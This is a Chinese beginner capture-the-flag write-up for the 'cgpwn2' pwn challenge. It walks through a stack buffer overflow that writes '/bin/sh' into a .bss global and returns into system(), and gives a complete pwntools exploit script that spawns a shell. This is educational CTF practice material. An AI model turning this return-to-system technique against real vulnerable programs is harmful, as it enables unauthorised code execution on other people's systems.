攻防世界萌新入门(1)

cgpwn2

首先查看一下

攻防世界萌新入门(1)_第1张图片
开心的萌新题目,只开了nx嘻嘻嘻嘻嘻嘻嘻
攻防世界萌新入门(1)_第2张图片
只有hello()函数需要看看
攻防世界萌新入门(1)_第3张图片
程序里边儿就有system函数可以直接调用哈哈哈哈
不过没有“/bin/sh”的字符串,所以要写进去,要写到bss,怎么写呢,我记得原来只用过read,这里有fgets,点进去看到name是一个全局变量,在bss
攻防世界萌新入门(1)_第4张图片
利用这个把/bin/sh写进去,然后,利用gets函数覆盖返回地址到system就好了

from pwn import*

a=process("./cgpwn2")

bin_sh_addr=0x0804A080 #name变量的地址

a.recvuntil("please tell me your name\n")

a.sendline("/bin/sh\x00")

a.recvuntil("hello,you can leave some message here:\n")

system_addr=0x08048420

payload='A'*42+p32(system_addr)+p32(0x1234)+p32(bin_sh_addr) #表示调用 system,结束后返回到0x1234的地址

a.send(payload)

a.interactive()

注意payload构造的时候,调用函数和传入参数之间别忘了写返回地址,返回到哪里都可以。。。。。但一定要写,不然没办法get shell

攻防世界萌新入门(1)_第5张图片
可以啦~~~~~

你可能感兴趣的:(任务)